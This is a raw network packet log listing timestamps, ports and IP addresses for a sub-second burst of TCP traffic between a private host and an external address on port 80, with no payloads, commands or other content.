Dec 19, 2024 07:57:35.777117014 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.777250051 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.777371883 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.777390957 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.777401924 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.777415037 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.777446985 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.778001070 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.778040886 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.778083086 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.778095007 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.778117895 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.778146982 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.778147936 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.778183937 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.778953075 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.779026985 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.779032946 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.779038906 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.779058933 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.779078960 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.779136896 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.779172897 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.779849052 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.779897928 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.779906988 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.779918909 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.779943943 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.779978037 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.780004025 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.780042887 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.780750036 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.780797005 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.780817032 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.780828953 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.780853987 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.780888081 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.780898094 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.780934095 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.781667948 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.781709909 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.781713009 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.781725883 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.781749964 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.781768084 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.781825066 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.781862020 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.782601118 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.782649994 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.782691002 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.782702923 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.782737017 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.782742023 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.782776117 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.783495903 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.783541918 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.783550978 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.783562899 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.783587933 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.783617020 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.783658028 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.783699989 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.784434080 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.784454107 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.784468889 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.784473896 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.784497976 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.784513950 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.784584999 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.784619093 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.785355091 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.785393000 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.785398960 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.785412073 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.785434961 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.785453081 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.785490036 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.785521984 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.786277056 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.786334991 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.786346912 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.786361933 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.786377907 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.786448002 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.786483049 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.787245989 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.787297010 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.787302971 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.787322044 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.787338972 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.787357092 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.787374020 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.787405968 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.788115978 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.788157940 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.788160086 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.788170099 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.788189888 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.788206100 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.788297892 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.788331032 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.789031029 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.789072037 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.789077997 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.789091110 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.789110899 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.789127111 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.789196014 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.789231062 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.789958954 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.789978981 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.789990902 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.790002108 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.790018082 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.790034056 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.790093899 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.790127039 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.790904999 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.790956974 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.790965080 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.790968895 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.790987968 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.791033030 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.791052103 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.791085958 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.791796923 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.791836977 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.791840076 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.791848898 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.791868925 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.791884899 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.791985035 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.792017937 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.792706966 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.792749882 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.792761087 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.792772055 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.792788029 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.792804956 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.792829990 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.792864084 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.793627977 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.793678045 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.793689966 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.793701887 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.793721914 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.793739080 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.793812990 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.793847084 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.794590950 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.794603109 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.794615984 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.794640064 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.794661999 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.794678926 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.794770956 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.795476913 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.795512915 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.795526028 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.795526981 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.795548916 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.795564890 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.795635939 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.795670033 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.796390057 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.796432018 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.796475887 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.796488047 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.796513081 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.796525955 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.796536922 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.796540022 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.796570063 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.797336102 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.797380924 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.797432899 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.797445059 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.797472000 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.797478914 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.797488928 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.797512054 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.798232079 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.798276901 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.798297882 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.798310041 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.798331022 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.798348904 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.798373938 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.798404932 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.799164057 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.799211979 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.799215078 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.799226999 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.799246073 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.799261093 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.799283981 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.799320936 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.800067902 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.800086975 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.800102949 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.800112963 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.800128937 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.800139904 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.800194025 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.800225973 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.970896959 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.970921993 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.970932961 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.970983028 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.971007109 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.971046925 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.971160889 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.971199989 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.971386909 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.971429110 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.971457958 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.971477032 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.971497059 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.971509933 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.971561909 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.971601009 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.972203016 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.972249031 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.972268105 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.972282887 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.972301006 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.972312927 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.972333908 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.972372055 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.973118067 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.973160028 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.973171949 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.973174095 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.973274946 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.973298073 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.973298073 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.973310947 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.974117041 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.974164963 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.974196911 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.974209070 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.974234104 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.974248886 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.974301100 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.974342108 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.974989891 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.975037098 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.975055933 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.975069046 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.975086927 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.975102901 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.975111961 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.975147009 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.975889921 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.975944042 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.975948095 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.975960970 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.975980043 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.975996971 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.976006985 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.976041079 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.976897955 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.976910114 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.976919889 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.976942062 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.976963997 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.976973057 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.977004051 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.977756023 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.977797985 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.977822065 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.977833033 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.977854013 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.977857113 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.977868080 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.977891922 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.978686094 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.978732109 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.978770018 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.978782892 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.978804111 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.978818893 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.978828907 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.978864908 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.979592085 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.979638100 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.979652882 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.979664087 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.979685068 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.979701996 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.979757071 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.979793072 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.980504990 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.980556011 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.980557919 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.980571032 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.980592012 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.980603933 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.980664968 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.980704069 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.981403112 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.981446028 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.981453896 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.981467962 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.981484890 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.981499910 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.981561899 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.981600046 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.982328892 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.982368946 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.982379913 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.982383013 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.982402086 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.982415915 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.982477903 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.982516050 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.983244896 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.983294010 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.983298063 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.983309984 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.983330965 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.983341932 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.983407021 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.983444929 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.984164953 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.984204054 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.984213114 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.984215975 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.984235048 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.984246969 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.984334946 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.984373093 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.985089064 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.985137939 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.985138893 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.985152006 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.985172033 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.985186100 CET	49801	80	192.168.2.4	185.215.113.16
Dec 19, 2024 07:57:35.985253096 CET	80	49801	185.215.113.16	192.168.2.4
Dec 19, 2024 07:57:35.985291004 CET	49801	80	192.168.2.4	185.215.113.16
